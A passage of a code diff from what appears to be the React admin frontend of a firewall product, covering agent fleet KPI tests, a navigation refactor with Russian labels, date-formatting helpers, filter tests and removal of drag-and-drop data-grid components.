last_apply_status: null,
last_apply_error: null,
last_apply_prefix_count: null,
last_apply_packets_dropped: null,
last_apply_packets_accepted: null,
total_packets_dropped: 0,
total_packets_accepted: 0,
last_apply_kernel_method: null,
client_version: null,
created_at: '2026-01-01T00:00:00Z',
approved_at: null,
revoked_at: null,
install_curl: null,
install_link_id: null,
...patch,
} as Agent
}
describe('agents-fleet-kpis', () => {
it('stale = approved + unseen or seen >24h ago; never for pending', () => {
const now = Date.parse('2026-09-20T12:00:00Z')
expect(isAgentStale(agent({ last_seen_at: null }), now)).toBe(true)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-20T11:00:00Z' }), now),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: '2026-09-19T11:00:00Z' }), now),
).toBe(true)
expect(
isAgentStale(
agent({ status: 'pending', last_seen_at: null }),
now,
),
).toBe(false)
expect(
isAgentStale(agent({ last_seen_at: 'garbage' }), now),
).toBe(true)
})
it('computeFleetCounts tallies statuses, stale and apply errors', () => {
const now = Date.now()
const counts = computeFleetCounts([
agent({ id: '1', status: 'pending' }),
agent({ id: '2', status: 'invited' }),
agent({ id: '3', status: 'revoked' }),
agent({ id: '4', last_seen_at: new Date(now).toISOString() }),
agent({
id: '5',
last_seen_at: new Date(now - 25 * 3600_000).toISOString(),
}),
agent({
id: '6',
last_seen_at: new Date(now).toISOString(),
last_apply_error: 'boom',
}),
])
expect(counts.pending).toBe(1)
expect(counts.invited).toBe(1)
expect(counts.revoked).toBe(1)
expect(counts.approved).toBe(3)
expect(counts.stale).toBe(1)
expect(counts.applyErrors).toBe(1)
})
})
+13 -34
View File
@@ -1,14 +1,7 @@
import { Link, useRouterState } from '@tanstack/react-router'
import {
LayoutDashboardIcon,
ServerIcon,
ListIcon,
ShieldIcon,
BarChart3Icon,
SettingsIcon,
} from 'lucide-react'
import { AppSwitcher } from '@/components/app-switcher'
import { NavUser } from '@/components/layout/nav-user'
import { NAV_SECTIONS, navItemsForSection, type NavItem } from '@/lib/nav'
import {
Sidebar,
SidebarContent,
@@ -22,22 +15,7 @@ import {
SidebarMenuItem,
} from '@evofw/ui/components/sidebar'
const overviewNav = [
{ to: '/', label: 'Панель управления', icon: LayoutDashboardIcon, exact: true },
] as const
const opsNav = [
{ to: '/agents', label: 'Агенты', icon: ServerIcon, exact: false },
{ to: '/lists', label: 'Списки', icon: ListIcon, exact: false },
{ to: '/rules', label: 'Наборы правил', icon: ShieldIcon, exact: false },
{ to: '/stats', label: 'Статистика', icon: BarChart3Icon, exact: false },
] as const
const systemNav = [
{ to: '/settings', label: 'Настройки', icon: SettingsIcon, exact: false },
] as const
function isNavActive(pathname: string, to: string, exact: boolean) {
function isNavActive(pathname: string, to: string, exact?: boolean) {
if (exact) return pathname === to
return pathname === to || pathname.startsWith(`${to}/`)
}
@@ -48,12 +26,7 @@ function NavSection({
pathname,
}: {
label: string
items: readonly {
to: string
label: string
icon: typeof ServerIcon
exact: boolean
}[]
items: readonly NavItem[]
pathname: string
}) {
return (
@@ -90,12 +63,18 @@ export function AppSidebar() {
<AppSwitcher />
</SidebarHeader>
<SidebarContent>
<NavSection label="Обзор" items={overviewNav} pathname={pathname} />
<NavSection label="Операции" items={opsNav} pathname={pathname} />
<NavSection label="Система" items={systemNav} pathname={pathname} />
{NAV_SECTIONS.map((section) => (
<NavSection
key={section.id}
label={section.label}
items={navItemsForSection(section.id)}
pathname={pathname}
/>
))}
</SidebarContent>
<SidebarFooter>
<NavUser />
</SidebarFooter> </Sidebar>
</SidebarFooter>
</Sidebar>
)
}
+2 -48
View File
@@ -1,14 +1,7 @@
import { useEffect, useId, useMemo, useState } from 'react'
import { Link, useNavigate } from '@tanstack/react-router'
import {
BarChart3Icon,
LayoutDashboardIcon,
ListIcon,
SearchIcon,
ServerIcon,
SettingsIcon,
ShieldIcon,
} from 'lucide-react'
import { SearchIcon } from 'lucide-react'
import { NAV_ITEMS } from '@/lib/nav'
import { Button } from '@evofw/ui/components/button'
import {
Dialog,
@@ -26,45 +19,6 @@ import {
ItemTitle,
} from '@evofw/ui/components/item'
const NAV_ITEMS = [
{
to: '/',
label: 'Панель управления',
keywords: ['dashboard', 'панель', 'обзор'],
icon: LayoutDashboardIcon,
},
{
to: '/agents',
label: 'Агенты',
keywords: ['agents', 'агенты', 'nodes'],
icon: ServerIcon,
},
{
to: '/lists',
label: 'Списки IP',
keywords: ['lists', 'списки', 'blocklist'],
icon: ListIcon,
},
{
to: '/rules',
label: 'Наборы правил',
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
icon: ShieldIcon,
},
{
to: '/stats',
label: 'Статистика',
keywords: ['stats', 'статистика', 'packets'],
icon: BarChart3Icon,
},
{
to: '/settings',
label: 'Настройки',
keywords: ['settings', 'настройки'],
icon: SettingsIcon,
},
] as const
/** Command-K search — hotkey dialog (no header chrome trigger). */
export function SearchMenu({ hotkeyOnly = false }: { hotkeyOnly?: boolean }) {
const [open, setOpen] = useState(false)
+15 -29
View File
@@ -12,55 +12,41 @@ import { Separator } from '@evofw/ui/components/separator'
import { SystemMonitorPopover } from '@/components/layout/system-monitor-popover'
import { AppsMenu } from '@/components/layout/apps-menu'
import { SidebarTrigger } from '@evofw/ui/components/sidebar'
import { navLabel, navParentForDetail } from '@/lib/nav'
export interface RouteBreadcrumbLoaderData {
breadcrumb?: string
}
const routeTitles: Record<string, string> = {
'/': 'Панель управления',
'/agents': 'Агенты',
'/lists': 'Списки',
'/rules': 'Наборы правил',
'/stats': 'Статистика',
'/settings': 'Настройки',
}
function getBreadcrumbs(
pathname: string,
dynamicLabels: Record<string, string>,
) {
if (pathname === '/') {
return [{ label: 'Панель управления', href: '/' }]
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
}
if (pathname.match(/^\/agents\/[^/]+$/)) {
const parentTo = navParentForDetail(pathname)
if (parentTo) {
const parentLabel = navLabel(parentTo)
const fallback =
parentTo === '/agents'
? 'Агент'
: parentTo === '/lists'
? 'Список'
: 'Набор'
return [
{ label: 'Агенты', href: '/agents' },
{ label: dynamicLabels[pathname] ?? 'Агент', href: pathname },
{ label: parentLabel ?? parentTo, href: parentTo },
{ label: dynamicLabels[pathname] ?? fallback, href: pathname },
]
}
if (pathname.match(/^\/rules\/[^/]+$/)) {
return [
{ label: 'Наборы правил', href: '/rules' },
{ label: dynamicLabels[pathname] ?? 'Набор', href: pathname },
]
}
if (pathname.match(/^\/lists\/[^/]+$/)) {
return [
{ label: 'Списки', href: '/lists' },
{ label: dynamicLabels[pathname] ?? 'Список', href: pathname },
]
}
const title = routeTitles[pathname]
const title = navLabel(pathname)
if (title) {
return [{ label: title, href: pathname }]
}
return [{ label: 'Панель управления', href: '/' }]
return [{ label: navLabel('/') ?? 'Панель управления', href: '/' }]
}
function useDynamicBreadcrumbLabels() {
@@ -1,6 +1,7 @@
import { useMemo, type CSSProperties, type ReactNode } from 'react'
import { useQuery } from '@tanstack/react-query'
import { Activity, HeartPulse, List, Server, Shield } from 'lucide-react'
import { formatTime } from '@/lib/format'
import { Badge } from '@/components/reui/badge'
import { cn } from '@evofw/ui/lib/utils'
@@ -201,7 +202,7 @@ export function SystemMonitorPopover() {
Монитор EvoFirewall
</span>
<span className="text-muted-foreground text-[11px] tabular-nums">
{new Date().toLocaleTimeString('ru-RU')}
{formatTime(new Date())}
</span>
</div>
<div className="grid grid-cols-2">
@@ -10,6 +10,7 @@ import { StatusBadge } from '@/components/status-badge'
import { ListTypeIcon } from '@/components/lists/list-type-icon'
import { Button } from '@evofw/ui/components/button'
import { isManualListType, type IpList } from '@evofw/shared'
import { formatDateTime } from '@/lib/format'
export const LIST_TABS = [
{ id: 'all', label: 'Все' },
@@ -67,7 +68,7 @@ export function createListColumns(opts: {
row.original.last_error
? 'Ошибка обновления'
: row.original.refreshed_at
? `Обновлён ${new Date(row.original.refreshed_at).toLocaleString('ru-RU')}`
? `Обновлён ${formatDateTime(row.original.refreshed_at)}`
: undefined
}
/>
@@ -102,7 +103,7 @@ export function createListColumns(opts: {
cell: ({ row }) => (
<DataGridMutedCell>
{row.original.updated_at
? new Date(row.original.updated_at).toLocaleString('ru-RU')
? formatDateTime(row.original.updated_at)
: '—'}
</DataGridMutedCell>
),
@@ -0,0 +1,80 @@
import { describe, it, expect } from 'vitest'
import {
getActiveFilters,
applyFiltersToData,
} from '@/components/reui-kit/filter-utils'
type Row = { name: string; status: string }
const rows: Row[] = [
{ name: 'web-01', status: 'approved' },
{ name: 'db-01', status: 'pending' },
{ name: 'mt-01', status: 'revoked' },
]
const field = (item: Row, f: string) =>
f === 'name' ? item.name : f === 'status' ? item.status : undefined
describe('filter-utils', () => {
it('getActiveFilters drops empty filters', () => {
const active = getActiveFilters([
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
{ id: '2', field: 'name', operator: 'contains', values: [''] },
{ id: '3', field: 'x', operator: 'is', values: [] },
{ id: '4', field: 'x', operator: 'is', values: [null, undefined] },
])
expect(active.map((f) => f.id)).toEqual(['1'])
})
it('applies is / is_not / is_any_of operators', () => {
expect(
applyFiltersToData(
rows,
[{ id: '1', field: 'status', operator: 'is', values: ['pending'] }],
field,
),
).toEqual([rows[1]])
expect(
applyFiltersToData(
rows,
[
{
id: '1',
field: 'status',
operator: 'is_any_of',
values: ['pending', 'revoked'],
},
],
field,
),
).toEqual([rows[1], rows[2]])
expect(
applyFiltersToData(
rows,
[
{
id: '1',
field: 'status',
operator: 'is_not',
values: ['revoked'],
},
],
field,
),
).toEqual([rows[0], rows[1]])
})
it('combines multiple filters with AND', () => {
const out = applyFiltersToData(
rows,
[
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
{ id: '2', field: 'name', operator: 'contains', values: ['web'] },
],
field,
)
expect(out).toEqual([rows[0]])
})
})
@@ -22,7 +22,6 @@ export {
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
export { OpsDashboard } from './ops-dashboard'
export { DetailPanel, type DetailMetricCard } from './detail-panel'
export { SettingsShell, type SettingsTabConfig } from './settings-shell'
export { PageShell } from '@/components/page-shell'
export { PageHeader } from '@/components/page-header'
@@ -1,89 +0,0 @@
import type { ReactNode } from 'react'
import { Link, Outlet, useRouterState } from '@tanstack/react-router'
import { useIsMobile } from '@evofw/ui/hooks/use-mobile'
import { cn } from '@evofw/ui/lib/utils'
import { PageShell } from '@/components/page-shell'
import { PageHeader } from '@/components/page-header'
/**
* Multi-section settings layout — only when tabs are provided.
* Single-page settings use PageShell + Frame + SettingRow directly.
* Preview: https://reui.io/preview/base/settings-16
*/
export interface SettingsTabConfig {
id: string
to: string
label: string
icon?: ReactNode
}
interface SettingsShellProps {
title?: string
description?: string
/** Required — no phantom default routes. */
tabs: SettingsTabConfig[]
}
export function SettingsShell({
title = 'Настройки',
description = 'Конфигурация control plane',
tabs,
}: SettingsShellProps) {
const isMobile = useIsMobile()
const pathname = useRouterState({ select: (s) => s.location.pathname })
return (
<PageShell>
<div className="mx-auto flex w-full max-w-4xl flex-col gap-5">
<PageHeader title={title} description={description} />
<div
className={cn(
'flex gap-5',
isMobile ? 'flex-col' : 'flex-row items-start',
)}
>
{tabs.length > 1 ? (
<nav
aria-label="Разделы настроек"
className={cn(
'flex gap-1',
isMobile
? 'scrollbar-none -mx-1 overflow-x-auto overflow-y-hidden pb-1'
: 'w-44 shrink-0 flex-col',
)}
>
{tabs.map((tab) => {
const isActive = pathname.startsWith(tab.to)
return (
<Link
key={tab.id}
to={tab.to}
aria-current={isActive ? 'page' : undefined}
className={cn(
'flex items-center gap-2 rounded-lg px-3 py-2 text-sm transition-colors',
isMobile && 'shrink-0',
!isMobile && 'w-full',
isActive
? 'bg-muted text-foreground font-medium shadow-sm ring-1 ring-border/60'
: 'text-muted-foreground hover:bg-muted/60 hover:text-foreground',
)}
>
{tab.icon}
{tab.label}
</Link>
)
})}
</nav>
) : null}
<div className="min-w-0 flex-1">
<Outlet />
</div>
</div>
</div>
</PageShell>
)
}
@@ -1,53 +0,0 @@
"use no memo"
import { ReactElement } from "react"
import { getColumnHeaderLabel } from "@/components/reui/data-grid/data-grid"
import { Table } from "@tanstack/react-table"
import {
DropdownMenu,
DropdownMenuCheckboxItem,
DropdownMenuContent,
DropdownMenuGroup,
DropdownMenuLabel,
DropdownMenuTrigger,
} from "@evofw/ui/components/dropdown-menu"
function DataGridColumnVisibility<TData>({
table,
trigger,
}: {
table: Table<TData>
trigger: ReactElement<Record<string, unknown>>
}) {
return (
<DropdownMenu>
<DropdownMenuTrigger render={trigger} />
<DropdownMenuContent align="end" className="min-w-[150px]">
<DropdownMenuGroup>
<DropdownMenuLabel className="font-medium">
Toggle Columns
</DropdownMenuLabel>
{table
.getAllColumns()
.filter((column) => column.getCanHide())
.map((column) => {
return (
<DropdownMenuCheckboxItem
key={column.id}
className="capitalize"
checked={column.getIsVisible()}
onSelect={(event) => event.preventDefault()}
onCheckedChange={(value) => column.toggleVisibility(!!value)}
>
{getColumnHeaderLabel(column)}
</DropdownMenuCheckboxItem>
)
})}
</DropdownMenuGroup>
</DropdownMenuContent>
</DropdownMenu>
)
}
export { DataGridColumnVisibility }
@@ -1,347 +0,0 @@
"use client"
"use no memo"
import {
createContext,
CSSProperties,
memo,
ReactNode,
useContext,
useEffect,
useId,
useMemo,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableBodyRow,
DataGridTableBodyRowCell,
DataGridTableBodyRowExpandded,
DataGridTableBodyRowSkeleton,
DataGridTableBodyRowSkeletonCell,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRowSpacer,
DataGridTableViewport,
} from "@/components/reui/data-grid/data-grid-table"
import {
closestCenter,
DndContext,
KeyboardSensor,
MouseSensor,
TouchSensor,
UniqueIdentifier,
useSensor,
useSensors,
type DragEndEvent,
type Modifier,
} from "@dnd-kit/core"
import { restrictToVerticalAxis } from "@dnd-kit/modifiers"
import {
SortableContext,
sortableKeyboardCoordinates,
useSortable,
verticalListSortingStrategy,
} from "@dnd-kit/sortable"
import { CSS } from "@dnd-kit/utilities"
import {
Cell,
flexRender,
HeaderGroup,
Row,
Table,
} from "@tanstack/react-table"
import { cn } from "@evofw/ui/lib/utils"
import { Button } from "@evofw/ui/components/button"
import { GripHorizontalIcon } from "lucide-react"
// Context to share sortable listeners from row to handle
type SortableContextValue = ReturnType<typeof useSortable>
const SortableRowContext = createContext<Pick<
SortableContextValue,
"attributes" | "listeners"
> | null>(null)
function DataGridTableDndRowHandle({ className }: { className?: string }) {
const context = useContext(SortableRowContext)
if (!context) {
// Fallback if context is not available (shouldn't happen in normal usage)
return (
<Button
variant="ghost"
size="icon-sm"
className={cn(
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
className
)}
aria-label="Drag to reorder row"
disabled
>
<GripHorizontalIcon aria-hidden="true" />
</Button>
)
}
return (
<Button
variant="ghost"
size="icon-sm"
className={cn(
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
className
)}
aria-label="Drag to reorder row"
{...context.attributes}
{...context.listeners}
>
<GripHorizontalIcon aria-hidden="true" />
</Button>
)
}
function DataGridTableDndRow<TData>({ row }: { row: Row<TData> }) {
const {
transform,
transition,
setNodeRef,
isDragging,
attributes,
listeners,
} = useSortable({
id: row.id,
})
const style: CSSProperties = {
transform: CSS.Transform.toString(transform),
transition: transition,
opacity: isDragging ? 0.8 : 1,
zIndex: isDragging ? 1 : 0,
position: "relative",
cursor: isDragging ? "grabbing" : undefined,
}
return (
<SortableRowContext.Provider value={{ attributes, listeners }}>
<DataGridTableBodyRow row={row} dndRef={setNodeRef} dndStyle={style}>
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => {
return (
<DataGridTableBodyRowCell cell={cell} key={cell.id}>
{flexRender(cell.column.columnDef.cell, cell.getContext())}
</DataGridTableBodyRowCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRow>
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
</SortableRowContext.Provider>
)
}
function DataGridTableDndRowsBody<TData>({
table,
dataIds,
}: {
table: Table<TData>
dataIds: UniqueIdentifier[]
}) {
const { isLoading, props } = useDataGrid()
const pagination = table.getState().pagination
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
return (
<>
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
<DataGridTableBodyRowSkeleton key={rowIndex}>
{table.getVisibleFlatColumns().map((column, colIndex) => {
return (
<DataGridTableBodyRowSkeletonCell
column={column}
key={colIndex}
>
{column.columnDef.meta?.skeleton}
</DataGridTableBodyRowSkeletonCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRowSkeleton>
))}
</>
)
}
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
return (
<SortableContext items={dataIds} strategy={verticalListSortingStrategy}>
{table.getRowModel().rows.map((row: Row<TData>) => {
return <DataGridTableDndRow row={row} key={row.id} />
})}
</SortableContext>
)
}
/**
* Memoized body rows: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedDataGridTableDndRowsBody = memo(
DataGridTableDndRowsBody,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableDndRowsBody
function DataGridTableDndRows<TData>({
handleDragEnd,
dataIds,
footerContent,
}: {
handleDragEnd: (event: DragEndEvent) => void
dataIds: UniqueIdentifier[]
footerContent?: ReactNode
}) {
const { table, props } = useDataGrid()
const tableContainerRef = useRef<HTMLDivElement>(null)
const [isDraggingRow, setIsDraggingRow] = useState(false)
const sensors = useSensors(
useSensor(MouseSensor, {}),
useSensor(TouchSensor, {}),
// Keyboard reordering moves one sortable position per keypress instead
// of the sensor's raw 25px default.
useSensor(KeyboardSensor, {
coordinateGetter: sortableKeyboardCoordinates,
})
)
useEffect(() => {
if (!isDraggingRow) return
const { body, documentElement } = document
const previousBodyCursor = body.style.cursor
const previousDocumentCursor = documentElement.style.cursor
body.style.cursor = "grabbing"
documentElement.style.cursor = "grabbing"
return () => {
body.style.cursor = previousBodyCursor
documentElement.style.cursor = previousDocumentCursor
}
}, [isDraggingRow])
const modifiers = useMemo(() => {
const restrictToTableContainer: Modifier = ({
transform,
draggingNodeRect,
}) => {
if (!tableContainerRef.current || !draggingNodeRect) {
return transform
}
const containerRect = tableContainerRef.current.getBoundingClientRect()
const { x, y } = transform
const minX = containerRect.left - draggingNodeRect.left
const maxX = containerRect.right - draggingNodeRect.right
const minY = containerRect.top - draggingNodeRect.top
const maxY = containerRect.bottom - draggingNodeRect.bottom
return {
...transform,
x: Math.max(minX, Math.min(maxX, x)),
y: Math.max(minY, Math.min(maxY, y)),
}
}
return [restrictToVerticalAxis, restrictToTableContainer]
}, [])
return (
<DndContext
id={useId()}
collisionDetection={closestCenter}
modifiers={modifiers}
onDragCancel={() => setIsDraggingRow(false)}
onDragEnd={(event) => {
setIsDraggingRow(false)
handleDragEnd(event)
}}
onDragStart={() => setIsDraggingRow(true)}
sensors={sensors}
>
<DataGridTableViewport
viewportRef={tableContainerRef}
className={
isDraggingRow
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
: "relative"
}
>
<DataGridTableBase>
<DataGridTableHead>
{table
.getHeaderGroups()
.map((headerGroup: HeaderGroup<TData>, index) => {
return (
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
{headerGroup.headers.map((header, index) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={index}>
{header.isPlaceholder ? null : props.tableLayout
?.columnsResizable && column.getCanResize() ? (
<div className="truncate">
{flexRender(
header.column.columnDef.header,
header.getContext()
)}
</div>
) : (
flexRender(
header.column.columnDef.header,
header.getContext()
)
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
<DataGridTableFillHeadCell />
</DataGridTableHeadRow>
)
})}
</DataGridTableHead>
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedDataGridTableDndRowsBody table={table} dataIds={dataIds} />
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
</DndContext>
)
}
export { DataGridTableDndRowHandle, DataGridTableDndRows }
@@ -1,349 +0,0 @@
"use no memo"
import {
CSSProperties,
Fragment,
memo,
ReactNode,
useEffect,
useId,
useMemo,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableBodyRow,
DataGridTableBodyRowCell,
DataGridTableBodyRowExpandded,
DataGridTableBodyRowSkeleton,
DataGridTableBodyRowSkeletonCell,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRowSpacer,
DataGridTableViewport,
} from "@/components/reui/data-grid/data-grid-table"
import {
closestCenter,
DndContext,
KeyboardSensor,
Modifier,
MouseSensor,
TouchSensor,
useSensor,
useSensors,
type DragEndEvent,
} from "@dnd-kit/core"
import {
horizontalListSortingStrategy,
SortableContext,
sortableKeyboardCoordinates,
useSortable,
} from "@dnd-kit/sortable"
import { CSS } from "@dnd-kit/utilities"
import {
Cell,
flexRender,
Header,
HeaderGroup,
Row,
Table,
} from "@tanstack/react-table"
import { Button } from "@evofw/ui/components/button"
import { GripVerticalIcon } from "lucide-react"
function DataGridTableDndHeader<TData>({
header,
}: {
header: Header<TData, unknown>
}) {
const { props } = useDataGrid()
const { column } = header
// Check if column ordering is enabled for this column
const canOrder =
(column.columnDef as { enableColumnOrdering?: boolean })
.enableColumnOrdering !== false
const {
attributes,
isDragging,
listeners,
setNodeRef,
transform,
transition,
} = useSortable({
id: header.column.id,
})
const style: CSSProperties = {
opacity: isDragging ? 0.8 : 1,
position: "relative",
transform: CSS.Translate.toString(transform),
transition,
cursor: isDragging ? "grabbing" : undefined,
whiteSpace: "nowrap",
width: props.tableLayout?.columnsResizable
? `calc(var(--header-${header.id}-size) * 1px)`
: header.column.getSize(),
zIndex: isDragging ? 1 : 0,
}
return (
<DataGridTableHeadRowCell
header={header}
dndStyle={style}
dndRef={setNodeRef}
>
<div className="flex items-center justify-start gap-0.5">
{canOrder && (
<Button
size="icon-sm"
variant="ghost"
className={`-ms-2 size-6 ${isDragging ? "cursor-grabbing" : "cursor-grab active:cursor-grabbing"}`}
{...attributes}
{...listeners}
aria-label="Drag to reorder"
>
<GripVerticalIcon className="opacity-60 hover:opacity-100" aria-hidden="true" />
</Button>
)}
<div className="grow">
{header.isPlaceholder
? null
: flexRender(header.column.columnDef.header, header.getContext())}
</div>
{props.tableLayout?.columnsResizable && column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</div>
</DataGridTableHeadRowCell>
)
}
function DataGridTableDndCell<TData>({ cell }: { cell: Cell<TData, unknown> }) {
const { props } = useDataGrid()
const { isDragging, setNodeRef, transform, transition } = useSortable({
id: cell.column.id,
})
const style: CSSProperties = {
opacity: isDragging ? 0.8 : 1,
position: "relative",
transform: CSS.Translate.toString(transform),
transition,
cursor: isDragging ? "grabbing" : undefined,
width: props.tableLayout?.columnsResizable
? `calc(var(--col-${cell.column.id}-size) * 1px)`
: cell.column.getSize(),
zIndex: isDragging ? 1 : 0,
}
return (
<DataGridTableBodyRowCell cell={cell} dndStyle={style} dndRef={setNodeRef}>
{flexRender(cell.column.columnDef.cell, cell.getContext())}
</DataGridTableBodyRowCell>
)
}
function DataGridTableDndBodyRows<TData>({ table }: { table: Table<TData> }) {
const { isLoading, props } = useDataGrid()
const pagination = table.getState().pagination
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
return (
<>
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
<DataGridTableBodyRowSkeleton key={rowIndex}>
{table.getVisibleFlatColumns().map((column, colIndex) => {
return (
<DataGridTableBodyRowSkeletonCell
column={column}
key={colIndex}
>
{column.columnDef.meta?.skeleton}
</DataGridTableBodyRowSkeletonCell>
)
})}
<DataGridTableFillBodyCell />
</DataGridTableBodyRowSkeleton>
))}
</>
)
}
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
return (
<>
{table.getRowModel().rows.map((row: Row<TData>) => {
return (
<Fragment key={row.id}>
<DataGridTableBodyRow row={row}>
<SortableContext
items={table.getState().columnOrder}
strategy={horizontalListSortingStrategy}
>
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => (
<DataGridTableDndCell cell={cell} key={cell.id} />
))}
</SortableContext>
<DataGridTableFillBodyCell />
</DataGridTableBodyRow>
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
</Fragment>
)
})}
</>
)
}
/**
* Memoized body rows: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedDataGridTableDndBodyRows = memo(
DataGridTableDndBodyRows,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableDndBodyRows
function DataGridTableDnd<TData>({
handleDragEnd,
footerContent,
}: {
handleDragEnd: (event: DragEndEvent) => void
footerContent?: ReactNode
}) {
const { table, props } = useDataGrid()
const containerRef = useRef<HTMLDivElement>(null)
const [isDraggingColumn, setIsDraggingColumn] = useState(false)
const sensors = useSensors(
useSensor(MouseSensor, {}),
useSensor(TouchSensor, {}),
// Keyboard reordering moves one sortable position per keypress instead
// of the sensor's raw 25px default.
useSensor(KeyboardSensor, {
coordinateGetter: sortableKeyboardCoordinates,
})
)
useEffect(() => {
if (!isDraggingColumn) return
const { body, documentElement } = document
const previousBodyCursor = body.style.cursor
const previousDocumentCursor = documentElement.style.cursor
body.style.cursor = "grabbing"
documentElement.style.cursor = "grabbing"
return () => {
body.style.cursor = previousBodyCursor
documentElement.style.cursor = previousDocumentCursor
}
}, [isDraggingColumn])
// Custom modifier to restrict dragging within table bounds with edge offset
const modifiers = useMemo(() => {
const restrictToTableBounds: Modifier = ({
draggingNodeRect,
transform,
}) => {
if (!draggingNodeRect || !containerRef.current) {
return { ...transform, y: 0 }
}
const containerRect = containerRef.current.getBoundingClientRect()
const edgeOffset = 0
const minX = containerRect.left - draggingNodeRect.left - edgeOffset
const maxX =
containerRect.right -
draggingNodeRect.left -
draggingNodeRect.width +
edgeOffset
return {
...transform,
x: Math.min(Math.max(transform.x, minX), maxX),
y: 0, // Lock vertical movement
}
}
return [restrictToTableBounds]
}, [])
return (
<DndContext
collisionDetection={closestCenter}
id={useId()}
modifiers={modifiers}
onDragCancel={() => setIsDraggingColumn(false)}
onDragEnd={(event) => {
setIsDraggingColumn(false)
handleDragEnd(event)
}}
onDragStart={() => setIsDraggingColumn(true)}
sensors={sensors}
>
<DataGridTableViewport
viewportRef={containerRef}
className={
isDraggingColumn
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
: "relative"
}
>
<DataGridTableBase>
<DataGridTableHead>
{table
.getHeaderGroups()
.map((headerGroup: HeaderGroup<TData>, index) => {
return (
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
<SortableContext
items={table.getState().columnOrder}
strategy={horizontalListSortingStrategy}
>
{headerGroup.headers.map((header) => (
<DataGridTableDndHeader
header={header}
key={header.id}
/>
))}
</SortableContext>
<DataGridTableFillHeadCell />
</DataGridTableHeadRow>
)
})}
</DataGridTableHead>
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedDataGridTableDndBodyRows table={table} />
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
</DndContext>
)
}
export { DataGridTableDnd }
@@ -1,634 +0,0 @@
"use client"
"use no memo"
import {
CSSProperties,
memo,
ReactNode,
useCallback,
useEffect,
useRef,
useState,
} from "react"
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
import {
DataGridTableBase,
DataGridTableBody,
DataGridTableEmpty,
DataGridTableFillBodyCell,
DataGridTableFillHeadCell,
DataGridTableFoot,
DataGridTableHead,
DataGridTableHeadRow,
DataGridTableHeadRowCell,
DataGridTableHeadRowCellResize,
DataGridTableRenderedRow,
DataGridTableRowSpacer,
DataGridTableViewport,
getDataGridScrollAreaViewport,
getDataGridTableMergedHeaderGroups,
getDataGridTableRowSections,
getPinningStyles,
hasDataGridTableRightPinnedColumns,
} from "@/components/reui/data-grid/data-grid-table"
import { Column, flexRender, Row, Table } from "@tanstack/react-table"
import {
useVirtualizer,
VirtualItem,
Virtualizer,
VirtualizerOptions,
} from "@tanstack/react-virtual"
import { cn } from "@evofw/ui/lib/utils"
import { Spinner } from "@evofw/ui/components/spinner"
type DataGridTableVirtualScrollElements = {
containerElement: HTMLDivElement | null
scrollElement: HTMLElement | null
}
type DataGridTableVirtualizerInstance = Virtualizer<
HTMLElement,
HTMLTableRowElement
>
type DataGridTableVirtualizerOptions<TData> = Omit<
VirtualizerOptions<HTMLElement, HTMLTableRowElement>,
"count" | "estimateSize" | "getItemKey" | "getScrollElement"
> & {
estimateSize?: (index: number, row: Row<TData>) => number
getItemKey?: (index: number, row: Row<TData>) => string | number
getScrollElement?: (
